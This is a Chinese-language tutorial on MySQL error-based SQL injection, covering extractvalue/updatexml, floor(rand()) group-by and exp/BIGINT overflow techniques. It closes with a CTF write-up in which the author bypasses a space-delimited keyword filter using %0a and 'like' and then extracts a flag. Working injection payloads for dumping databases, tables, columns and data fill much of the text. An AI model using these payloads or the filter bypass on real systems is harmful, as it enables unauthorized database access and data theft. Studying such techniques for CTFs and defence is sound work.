报错注入
原理
- 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中
- 常用在不能使用
union
联合查询时
xpath语法错误
主要利用
extractvalue
和updatexml
两个函数,使用条件:mysql版本>5.1.5
extractvalue函数
函数原型:
extractvalue(xml_document,Xpath_string)
,第一个参数:xml_document
是string格式,为xml文档对象的名称,第二个参数:Xpath_string
是xpath
格式的字符串作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求则会报错,并且将查询结果放在报错信息里
如:
id='and(select extractvalue("anything",concat('~',(select语句))))
# 查数据库名: id='and(select extractvalue(1,concat(0x7e,(select database()))))
# 爆表名: id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
# 爆列名: id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
# 爆字段: id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
0x7e
=~
,~
可以换成#
、$
等不满足xpath格式的字符extractvalue()
能查询字符串的最大长度为32,如果结果超过32,要用substring()
截取或limit()
分页
updatexml函数
函数原型:
updatexml(xml_document,xpath_string,new_value)
,前两个参数和extractvalue
函数一样,第三个参数:new_value
是string格式,替换查找到的符合条件的数据,用于改变文档中符合条件的节点的值因为第二个参数跟
extractvalue
函数的第二个参数一样,所以也可以利用,且利用方式相同如:
id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
# 爆数据库名: id='and(select updatexml(1,concat(0x7e,(select database())),0x7e))
# 爆表名: id='and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
#爆列名: id='and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e)))
#爆数据: id='and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
floor报错注入
floor()
报错注入是利用count()、rand()、floor()、group by
这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor、count、group by
冲突报错报错原理:利用数据库表主键不能重复的原理,
floor(rand(0)*2)
语句的多次执行,造成虚拟表中主键的重复,导致报错这种报错方法的本质是因为
floor(rand(0)*2)
的重复性,导致group by
语句出错,group by key
的原理是循环读取数据的每一行,将结果保存于临时表中,读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据Rand()函数:返回
[0,1)
之间的随机数,用法是SELECT rand()
Floor()函数:向下取整,用法即
SELECT floor(11.332423)
,结果为11常利用这两个函数的方法是
floor(rand(0)*2)
,会生成0和1两个数,得到一个固定序列:011011011...
(伪随机序列)group by:
group by
是根据一个或多个列对结果集进行分组的sql语句具体的sql语句分析——
select count(*),(floor(rand(0)*2)) x from users group by x
- 在执行以上语句时,mysql会先建立一个虚拟表,然后开始查询数据,取数据库中的数据,如果虚拟表中没有相等的键值,就会添加对应的记录,如果找到相应的键值,就会
count(*)++
- 建立虚拟表(空表),开始查询,执行
floor(rand(0)*2)
结果为0,与第一条记录比较,发现不存在与之相等的键值 - 然后再次执行
floor(rand(0)*2)
结果为1,将1添加至虚拟表中,生成第一条记录 - 继续查询,再次计算
floor(rand(0)*2)
结果为1,查询虚拟表,发现与之相等的键值,于是执行count(*)++
- 继续!执行
floor(rand(0)*2)
结果为0,查询虚拟表,未发现键值为零,再次执行floor(rand(0)*2)
结果为1,插入虚拟表中,但是此时虚拟表中已经存在键值为一的主键,所以造成了主键的重复导致了报错
- 在执行以上语句时,mysql会先建立一个虚拟表,然后开始查询数据,取数据库中的数据,如果虚拟表中没有相等的键值,就会添加对应的记录,如果找到相应的键值,就会
常用的payload:
# 爆数据库名: 'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
# 爆表名: 'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
#爆列名: 'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
# 爆数据: 'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
数据溢出
适用mysql数据库版本是:5.5.5—5.5.49,mysql5.5.47可以在报错中返回查询结果,有的版本报错但是不返回查询结果
试着对最大数做加法运算,可以看到报错的具体情况:
select 18446744073709551615+1; # 报错信息:ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:
select ~0+1;
利用exp函数也会产生类似的溢出错误:
select exp(710); # 报错信息:ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
payload形如:
select exp(~(select*from(select user())x))
考核赛的sql题
robots.txt可以找到后台目录,直接访问是一个登录页面,存在sql注入,但是过滤了挺多东西
反正考核结束了偷偷看一眼源码:
<?php function fl_value($str){ if(empty($str)){return;} return preg_replace('/ select | insert | update | and | or | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file| drop |as |outfile/i','',$str); } function fl_html($str){ return htmlspecialchars($str); }
过滤了一堆,替换为空
这里不可以双写绕过,发现这个正则匹配竟然是每个词两边都加了空格的,那岂不是把空格换成别的就可以绕过
试了一下:
user=adin'%0aor%201#&password=admin&submit=
,回显密码错误,成功了!!!!好像真的是这样??
数据库:
payload: user=adimn'%0aand(select%20updatexml(1,concat(0x7e,(select%20database())),0x7e))# 回显: XPATH syntax error: '~cms'
各种payload打了半天都不通,才发现等号给过滤了,换成like,表:
payload: user=admin'%0aand(select%20updatexml(1,concat(0x7e,(select(group_concat(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema%20like%20database())),0x7e))# 回显: XPATH syntax error: '~admin,admin_group,alone,article'
但是这里就给看了4个表,因为updatexml回显长度是有限制的
用
limit
看,第15行找到flag表:payload: user=admin'%0aand(select%20updatexml(1,concat(0x7e,(select(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema%20like%20database()%20limit%2015,1)),0x7e))# 回显: XPATH syntax error: '~flag'
然后看flag表的列,第2列找到
flllaaaggg
payload: user=admin'%0aand(select%20updatexml(1,concat(0x7e,(select%20(column_name)from%20information_schema.columns%0awhere%0atable_name%20like%20'flag'limit%201,1)),0x7e))# 回显: XPATH syntax error: '~flllaaaggg'
看字段,拿到前半段flag:
payload: user=admin'%0aand(select%20updatexml(1,concat(0x7e,(select%20group_concat(flllaaaggg)from%20flag)),0x7e))# 回显: XPATH syntax error: '~DLNUCTF{e5ada6e4b9a0e68891e4bda'
后半段,right截取:
payload: user=admin'%0aand(select%20updatexml(1,right(concat(0x7e,(select%20group_concat(flllaaaggg)from%20flag)),20),0x7e))# 回显: XPATH syntax error: 'e68095e4ba86e59097}
flag:
DLNUCTF{e5ada6e4b9a0e68891e4bda86e59097}
,好耶,大功告成